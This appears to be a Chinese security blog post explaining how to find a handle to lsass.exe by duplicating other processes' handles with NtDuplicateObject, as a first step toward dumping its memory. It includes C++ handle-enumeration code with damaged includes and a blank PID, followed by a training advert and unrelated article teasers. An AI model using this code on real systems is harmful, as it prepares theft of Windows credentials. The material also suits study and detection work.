当前位置: 首页 > news >正文

利用NtDuplicateObject进行Dump

前言

由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。(本文仅用于交流学习)

这是国外老哥2020年提出的一种蛮有意思的思路。

我们先来看看大致的思路是什么样子的,然后来看看一些需要学习的点。* 首先我们需要获得调式权限(SeDebugPrivilege)* 然后我们使用NtQuerySystemInformation生成所有进程打开的所有句柄* 利用OpenProcess打开句柄,赋予PROCESS_DUP_HANDLE权限* NtDuplicateObject将获取远程进程句柄的副本到我们的进程* 利用NtQueryObject函数判断句柄是进程句柄还是其他一些东西* 如果是进程句柄,则使用该句柄的副本调用QueryFullProcessImageName函数,它将显示进程可执行路径,以此判断是不是我们需要的那个进程

获得系统的调试权限就不多提了,这个利用RtlAdjustPrivilege函数即可轻松的获取到权限(不过需要在管理员权限下运行),我们先看看这个几函数以及其参数

NtQuerySystemInformation__kernel_entry NTSTATUS NtQuerySystemInformation([in]SYSTEM_INFORMATION_CLASS SystemInformationClass,[in, out] PVOIDSystemInformation,[in]ULONGSystemInformationLength,[out, optional] PULONG ReturnLength);

第一个参数就是要检索的系统信息的类型,我们这里使用SYSTEM_HANDLE_INFORMATION,可能在MSDN上没有这个参数,我们看看SYSTEM_HANDLE_INFORMATION的结构typedef struct _SYSTEM_HANDLE{ULONG ProcessId;BYTE ObjectTypeNumber;BYTE Flags;USHORT Handle;PVOID Object;ACCESS_MASK GrantedAccess;} SYSTEM_HANDLE, *PSYSTEM_HANDLE;typedef struct _SYSTEM_HANDLE_INFORMATION{ULONG HandleCount;SYSTEM_HANDLE Handles[1];} SYSTEM_HANDLE_INFORMATION, *PSYSTEM_HANDLE_INFORMATION;

在_SYSTEM_HANDLE_INFORMATION中* HandleCount:表示句柄的总数* Handles[1]:即是单个的句柄(同时其详细结构在_SYSTEM_HANDLE中)

在_SYSTEM_HANDLE中表示单个句柄的参数* ProcessId:进程标识符* ObjectTypeNumber:打开的对象的类型* Flags:句柄属性标志* Handle:句柄数值,在进程打开的句柄中唯一标识某个句柄* Object:这个就是句柄对应的EPROCESS的地址* GrantedAccess:句柄对象的访问权限

NtDuplicateObject

这个函数是复制句柄,其原型如下,其可以对照ZwDuplicateObjectNTSYSCALLAPINTSTATUSNTAPINtDuplicateObject(In HANDLE SourceProcessHandle,In HANDLE SourceHandle,In_opt HANDLE TargetProcessHandle,Out_opt PHANDLE TargetHandle,In ACCESS_MASK DesiredAccess,In ULONG HandleAttributes,In ULONG Options);* SourceProcessHandle:要复制的句柄的源进程句柄* SourceHandle:要复制的句柄* TargetProcessHandle:接收新进程的目标进程句柄* 一个句柄指针(就是保存句柄的副本)* 访问的权限

后面两个就不说明了,一般填0

NtQueryObject

函数原型如下NTSYSCALLAPINTSTATUSNTAPINtQueryObject(In HANDLE Handle,In OBJECT_INFORMATION_CLASS ObjectInformationClass,Out_opt PVOID ObjectInformation,In ULONG ObjectInformationLength,Out_opt PULONG ReturnLength);

主要是第二个参数,第二个参数我们用到OBJECT_TYPE_INFORMATION(我没有找到解释)typedef struct _OBJECT_TYPE_INFORMATION{UNICODE_STRING Name;ULONG TotalNumberOfObjects;ULONG TotalNumberOfHandles;ULONG TotalPagedPoolUsage;ULONG TotalNonPagedPoolUsage;ULONG TotalNamePoolUsage;ULONG TotalHandleTableUsage;ULONG HighWaterNumberOfObjects;ULONG HighWaterNumberOfHandles;ULONG HighWaterPagedPoolUsage;ULONG HighWaterNonPagedPoolUsage;ULONG HighWaterNamePoolUsage;ULONG HighWaterHandleTableUsage;ULONG InvalidAttributes;GENERIC_MAPPING GenericMapping;ULONG ValidAccess;BOOLEAN SecurityRequired;BOOLEAN MaintainHandleCount;USHORT MaintainTypeList;ULONG PoolType;ULONG PagedPoolUsage;ULONG NonPagedPoolUsage;} OBJECT_TYPE_INFORMATION, *POBJECT_TYPE_INFORMATION;

之后我们需要将缓冲区转换为UNICODE_STRINGtypedef struct _UNICODE_STRING{USHORT Length;USHORT MaximumLength;PWSTR Buffer;} UNICODE_STRING, *PUNICODE_STRING;

Buffer是我们需要用到的,用于判断其是什么类型

我们随机选择一个进程进行测试,这里选择1048,我们将其进程中Type为Thread的和Handle给打印出来

#include <windows.h>#include <stdio.h>#include #include “ntdll.h”#pragma comment(lib, “ntdll”)using namespace std;int main(int argc, char* argv[]) { NTSTATUS status; ULONG handleInfoSize = 0x10000; PSYSTEM_HANDLE_INFORMATION handleInfo; HANDLE dupHandle; ULONG returnLength; HANDLE hProcess = NULL; DWORD pid = 1048; HANDLE processHandle = OpenProcess(PROCESS_DUP_HANDLE, FALSE, pid); if (!processHandle) { printf(“Could not open PID %d! (Don’t try to open a system process.)\n”, pid); return 1; } handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize); while ((status = NtQuerySystemInformation(SystemHandleInformation, handleInfo, handleInfoSize, NULL)) == STATUS_INFO_LENGTH_MISMATCH) { handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2); } if (!NT_SUCCESS(status)) { cout << “[-] NtQuerySystemInformation Error” << endl; return 1; } //枚举所有的句柄 for (ULONG i = 0; i < handleInfo->HandleCount; i++) { if (handleInfo->Handles[i].ProcessId != pid) { continue; } //复制句柄存储到dupHandle status = NtDuplicateObject(processHandle, (HANDLE)handleInfo->Handles[i].Handle, GetCurrentProcess(), &dupHandle, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 0, 0); if (status != STATUS_SUCCESS) { continue; } PVOID ObjectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(0x1000); status = NtQueryObject(dupHandle, ObjectTypeInformation, ObjectTypeInfo, 0x1000, NULL); if (status != STATUS_SUCCESS) { printf(“[%#x] Error!\n”, handleInfo->Handles[i].Handle); CloseHandle(dupHandle); continue; } UNICODE_STRING objectType = *(PUNICODE_STRING)ObjectTypeInfo; if (objectType.Length) { if (wcsstr(objectType.Buffer, L"Thread") != NULL) { printf(“Handle:[%#x] Type: % S\n”, handleInfo->Handles[i].Handle, objectType.Buffer); } } } free(handleInfo);}

代码可能写的有点磕碜,读者可以把参考一下:<https://blez.wordpress.com/2012/09/17/enumerating-
opened-handles-from-a-process/>

但是我们可以看到Name中有些进程并不是我们想要的,我们可以看看lsass.exe中Type为Process的Name,有很多我们并不需要的

因此我们需要对Name进行筛选,这时候就需要用到QueryFullProcessImageName

QueryFullProcessImageName

函数原型WINBASEAPIBOOLWINAPIQueryFullProcessImageNameW(In HANDLE hProcess,In DWORD dwFlags,Out_writes_to(*lpdwSize, *lpdwSize) LPWSTR lpExeName,Inout PDWORD lpdwSize);

根据其句柄获得其文件的路径,我们可以利用其去判断是否是我们需要的文件#include <windows.h>#include <stdio.h>#include #include “ntdll.h”#pragma comment(lib, “ntdll”)using namespace std;int SeDebugPrivilege() { BOOLEAN t; NTSTATUS status = RtlAdjustPrivilege(20, TRUE, FALSE, &t); if (!NT_SUCCESS(status)) { cout << “[-] Unable to resolve RtlAdjustPrivilege” << endl; return 1; } cout << “[+] RtlAdjustPrivilege Success” << endl;}int main(int argc, char* argv[]) { NTSTATUS status; ULONG handleInfoSize = 0x10000; PSYSTEM_HANDLE_INFORMATION handleInfo; HANDLE dupHandle; ULONG returnLength; HANDLE hProcess = NULL; SeDebugPrivilege(); DWORD pid = ; HANDLE processHandle = OpenProcess(PROCESS_DUP_HANDLE, FALSE, pid); if (!processHandle) { printf(“Could not open PID %d! (Don’t try to open a system process.)\n”, pid); return 1; } handleInfo = (PSYSTEM_HANDLE_INFORMATION)malloc(handleInfoSize); while ((status = NtQuerySystemInformation(SystemHandleInformation, handleInfo, handleInfoSize, NULL)) == STATUS_INFO_LENGTH_MISMATCH) { handleInfo = (PSYSTEM_HANDLE_INFORMATION)realloc(handleInfo, handleInfoSize *= 2); } if (!NT_SUCCESS(status)) { cout << “[-] NtQuerySystemInformation Error” << endl; return 1; } //枚举所有的句柄 for (ULONG i = 0; i < handleInfo->HandleCount; i++) { if (handleInfo->Handles[i].ProcessId != pid) { continue; } //复制句柄存储到dupHandle status = NtDuplicateObject(processHandle, (HANDLE)handleInfo->Handles[i].Handle, GetCurrentProcess(), &dupHandle, PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, 0, 0); if (status != STATUS_SUCCESS) { continue; } PVOID ObjectTypeInfo = (POBJECT_TYPE_INFORMATION)malloc(0x1000); status = NtQueryObject(dupHandle, ObjectTypeInformation, ObjectTypeInfo, 0x1000, NULL); if (status != STATUS_SUCCESS) { printf(“[%#x] Error!\n”, handleInfo->Handles[i].Handle); CloseHandle(dupHandle); continue; } UNICODE_STRING objectType = *(PUNICODE_STRING)ObjectTypeInfo; wchar_t path[MAX_PATH]; DWORD maxpath = MAX_PATH; if (objectType.Length) { if (wcsstr(objectType.Buffer, L"Process") != NULL) { QueryFullProcessImageNameW(dupHandle, 0, path, &maxpath); if (wcsstr(path, L"lsass.exe") != NULL) { printf(“Handle:[%#x] Type: % S\n”, handleInfo->Handles[i].Handle, objectType.Buffer); } } } } free(handleInfo);}

之后就可以利用其对应的复制的句柄副本进行dump了,后面就不再讨论了。

我们上面是直接给的lsass.exe的pid,我们可以通过进程快照或者复制所有的进程句柄,到最后判断那再进行筛选来自动获得其进程。

网络安全工程师企业级学习路线

这时候你当然需要一份系统性的学习路线

如图片过大被平台压缩导致看不清的话,可以在文末下载(无偿的),大家也可以一起学习交流一下。

一些我收集的网络安全自学入门书籍

一些我白嫖到的不错的视频教程:

上述资料【扫下方二维码】就可以领取了,无偿分享

相关文章:

利用NtDuplicateObject进行Dump

前言 由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失&#xff0c;均由使用者本人负责&#xff0c;文章作者不为此承担任何责任。&#xff08;本文仅用于交流学习&#xff09; 这是国外老哥2020年提出的一种蛮有意思的思路。 我们先来看看大致的思路是…...

【快应用】list组件如何区分滑动的方向?

【关键词】 list组件、滑动方向、scroll 【问题背景】 有cp反馈list这个组件在使用的时候&#xff0c;不知道如何区分它是上滑还是下滑。 【问题分析】 list组件除了通用事件之外&#xff0c;还提供了scroll、scrollbottom、scrolltop、scrollend、scrolltouchup事件&#x…...

【深入了解pytorch】PyTorch扩展:如何使用PyTorch的扩展功能

【深入了解pytorch】PyTorch扩展:如何使用PyTorch的扩展功能 PyTorch扩展:展示如何使用PyTorch的扩展功能1. 自定义损失函数2. 自定义数据加载器3. 自定义优化器总结PyTorch扩展:展示如何使用PyTorch的扩展功能 PyTorch作为一个开源的深度学习框架,在研究和应用领域广受欢…...

Vue3——如何实现页面访问拦截

在现代的Web开发中&#xff0c;页面访问拦截是一个非常常见的需求。通过拦截页面访问&#xff0c;我们可以控制用户在访问特定页面之前需要满足的条件&#xff0c;比如登录状态、权限等。Vue是一个非常流行的JavaScript框架&#xff0c;它提供了许多强大的工具和功能&#xff0…...

nginx配置gzip

在 Nginx 中启用 Gzip 压缩可以大幅减少传输内容的大小&#xff0c;从而加快网页加载速度。 打开 Nginx 的配置文件&#xff0c;通常是 /etc/nginx/nginx.conf 或者 /etc/nginx/conf.d/default.conf。找到 http 配置块&#xff0c;在其中添加以下代码来开启 Gzip 压缩&#xff…...

ExtJS教程_编程入门自学教程_菜鸟教程-免费教程分享

教程简介 Ext JS是一个流行的JavaScript框架&#xff0c;它为使用跨浏览器功能构建Web应用程序提供了丰富的UI。 Ext JS基本上用于创建桌面应用程序它支持所有现代浏览器&#xff0c;如IE6 &#xff0c;FF&#xff0c;Chrome&#xff0c;safari 6 等。Ext JS基于MVC / MVVM架构…...

【el-upload】批量上传图片时在before-upload中添加弹窗判断时的踩坑记录

一、初始代码 1. 初始使用组件代码片段 <!-- 上传 --> <DialogUploadFile ref"uploadFile" success"refresh" />// 上传 const uploadHandle () > {if (selections.value.length ! 1) {onceMessage.warning(请选择一条数据操作)return}u…...

【Java基础】- JVM之Dump文件详解

Java基础 - JVM之Dump文件详解 文章目录 Java基础 - JVM之Dump文件详解一、什么是Dump三、为什么需要Dump分析思路 四、Dump记录哪些内容4.1 Java dump 文件的格式和内容段格式行格式 4.2 常用分类heap dump和thread dumpheap dumpthread dump 五、如何生产Dump文件5.1 获取hea…...

基于Vue+wangeditor实现富文本编辑

目录 前言分析实现具体解决的问题有具体代码实现如下效果图总结前言 一个网站需要富文本编辑器功能的原因有很多,以下是一些常见的原因: 方便用户编辑内容:富文本编辑器提供了类似于Office Word的编辑功能,使得那些不太懂HTML的用户也能够方便地编辑网站内容。提高用户体验…...

深入理解 Spring 中的 @RequestBody 和 @ResponseBody 注解及其区别

引言 在现代的 Web 开发中&#xff0c;处理 HTTP 请求和响应是不可或缺的任务。Spring Framework 提供了丰富的功能来简化这些任务&#xff0c;并使开发人员能够更专注于业务逻辑。在本文中&#xff0c;我们将深入探讨 Spring 中的 RequestBody 和 ResponseBody 注解&#xff0…...

【论文阅读】EULER:通过可扩展时间链接预测检测网络横向移动(NDSS-2022)

作者&#xff1a;乔治华盛顿大学-Isaiah J. King、H. Howie Huang 引用&#xff1a;King I J, Huang H H. Euler: Detecting Network Lateral Movement via Scalable Temporal Graph Link Prediction [C]. Proceedings 2022 Network and Distributed System Security Symposium…...

手动创建一个DOCKER镜像

1. 我们先使用C语言写一个hello-world程序 vim hello.c # include <stdio.h>int main() {print("hello docker\n"); } 2. 将hello.c文件编译成二进制文件, 需要安装工具 yum install gcc yum install glibc-static 开始编译 gcc -static hello.c -o hello 编译…...

SSM(Vue3+ElementPlus+Axios+SSM前后端分离)--搭建Vue 前端工程[一]

文章目录 SSM--搭建Vue 前端工程--项目基础界面实现功能01-搭建Vue 前端工程需求分析/图解代码实现搭建Vue 前端工程下载node.js LTS 并安装: node.js 的npm创建Vue 项目使用idea 打开ssm_vue 项目, 并配置项目启动 Vue3 项目目录结构梳理Vue3 项目结构介绍 配置Vue 服务端口El…...

Idea使用Docker插件实现maven打包自动构建镜像

Docker 开启TCP 服务 vi /lib/systemd/system/docker.service改写以下内容 ExecStart/usr/bin/dockerd -H tcp://0.0.0.0:2375 -H unix:///var/run/docker.sock重启服务 #重新加载配置文件 systemctl daemon-reload #重启服务 systemctl restart docker.service此时docker已…...

Tailwind css优于Bootstrap 7个原因

在某些情况下&#xff0c;Tailwind css 比 Bootstrap 更好&#xff0c;因为它是一个低级 CSS 框架&#xff0c;可让您根据需要构建自己的自定义组件。如果使用得当&#xff0c;它非常注重性能&#xff0c;可以显着减少 CSS 负载并确保更快的渲染。如果 Web 性能和自定义是您的首…...

IDEA简单拷贝一份新项目记录

IDEA简单拷贝项目记录 拷贝后改项目名&#xff0c;然后iml 配置文件改项目名&#xff0c;然后 .idea 中的compiler.xml 里面的name标签改项目名。 就可以了...

华为OD真题--字符串加密

2023华为OD统一考试&#xff08;AB卷&#xff09;题库清单-带答案&#xff08;持续更新&#xff09;or2023年华为OD真题机考题库大全-带答案&#xff08;持续更新&#xff09; "给你一串未加密的字符串str&#xff0c;通过对字符串的每一个字母进行改变来实现加密&#xf…...

UML-状态图

目录 状态图 状态图的图符 状态机 状态 ​转换 电话机状态图 活动图和状态图区别&#xff1a; 状态图 状态图(Statechart Diagram)是描述一个实体基于事件反应的动态行为&#xff0c;显示了该实体如何根据当前所处的状态对不同的事件做出反应。通常我们创建一个UML状态…...

chrome插件开发实例07- Vue调试插件vue-devtools

目录 一、为什么使用vue-devtools插件 二、如何安装 三、使用源码方式,安装Vue-devtools插件...

HTML <span> 标签

定义和用法 <span> 标签被用来组合文档中的行内元素。 浏览器支持 元素ChromeIEFirefoxSafariOpera<span>YesYesYesYesYes所有浏览器都支持 <span> 标签。 HTML 与 XHTML 之间的差异 NONE 提示和注释: 提示:请使用 <span> 来组合行内元素,以便…...

Cursor实现用excel数据填充word模版的方法

cursor主页&#xff1a;https://www.cursor.com/ 任务目标&#xff1a;把excel格式的数据里的单元格&#xff0c;按照某一个固定模版填充到word中 文章目录 注意事项逐步生成程序1. 确定格式2. 调试程序 注意事项 直接给一个excel文件和最终呈现的word文件的示例&#xff0c;…...

Lombok 的 @Data 注解失效,未生成 getter/setter 方法引发的HTTP 406 错误

HTTP 状态码 406 (Not Acceptable) 和 500 (Internal Server Error) 是两类完全不同的错误&#xff0c;它们的含义、原因和解决方法都有显著区别。以下是详细对比&#xff1a; 1. HTTP 406 (Not Acceptable) 含义&#xff1a; 客户端请求的内容类型与服务器支持的内容类型不匹…...

《Qt C++ 与 OpenCV:解锁视频播放程序设计的奥秘》

引言:探索视频播放程序设计之旅 在当今数字化时代,多媒体应用已渗透到我们生活的方方面面,从日常的视频娱乐到专业的视频监控、视频会议系统,视频播放程序作为多媒体应用的核心组成部分,扮演着至关重要的角色。无论是在个人电脑、移动设备还是智能电视等平台上,用户都期望…...

MongoDB学习和应用(高效的非关系型数据库)

一丶 MongoDB简介 对于社交类软件的功能&#xff0c;我们需要对它的功能特点进行分析&#xff1a; 数据量会随着用户数增大而增大读多写少价值较低非好友看不到其动态信息地理位置的查询… 针对以上特点进行分析各大存储工具&#xff1a; mysql&#xff1a;关系型数据库&am…...

C++ 基础特性深度解析

目录 引言 一、命名空间&#xff08;namespace&#xff09; C 中的命名空间​ 与 C 语言的对比​ 二、缺省参数​ C 中的缺省参数​ 与 C 语言的对比​ 三、引用&#xff08;reference&#xff09;​ C 中的引用​ 与 C 语言的对比​ 四、inline&#xff08;内联函数…...

让AI看见世界:MCP协议与服务器的工作原理

让AI看见世界&#xff1a;MCP协议与服务器的工作原理 MCP&#xff08;Model Context Protocol&#xff09;是一种创新的通信协议&#xff0c;旨在让大型语言模型能够安全、高效地与外部资源进行交互。在AI技术快速发展的今天&#xff0c;MCP正成为连接AI与现实世界的重要桥梁。…...

Android第十三次面试总结(四大 组件基础)

Activity生命周期和四大启动模式详解 一、Activity 生命周期 Activity 的生命周期由一系列回调方法组成&#xff0c;用于管理其创建、可见性、焦点和销毁过程。以下是核心方法及其调用时机&#xff1a; ​onCreate()​​ ​调用时机​&#xff1a;Activity 首次创建时调用。​…...

Spring是如何解决Bean的循环依赖:三级缓存机制

1、什么是 Bean 的循环依赖 在 Spring框架中,Bean 的循环依赖是指多个 Bean 之间‌互相持有对方引用‌,形成闭环依赖关系的现象。 多个 Bean 的依赖关系构成环形链路,例如: 双向依赖:Bean A 依赖 Bean B,同时 Bean B 也依赖 Bean A(A↔B)。链条循环: Bean A → Bean…...

【C++进阶篇】智能指针

C内存管理终极指南&#xff1a;智能指针从入门到源码剖析 一. 智能指针1.1 auto_ptr1.2 unique_ptr1.3 shared_ptr1.4 make_shared 二. 原理三. shared_ptr循环引用问题三. 线程安全问题四. 内存泄漏4.1 什么是内存泄漏4.2 危害4.3 避免内存泄漏 五. 最后 一. 智能指针 智能指…...

Golang——6、指针和结构体

指针和结构体 1、指针1.1、指针地址和指针类型1.2、指针取值1.3、new和make 2、结构体2.1、type关键字的使用2.2、结构体的定义和初始化2.3、结构体方法和接收者2.4、给任意类型添加方法2.5、结构体的匿名字段2.6、嵌套结构体2.7、嵌套匿名结构体2.8、结构体的继承 3、结构体与…...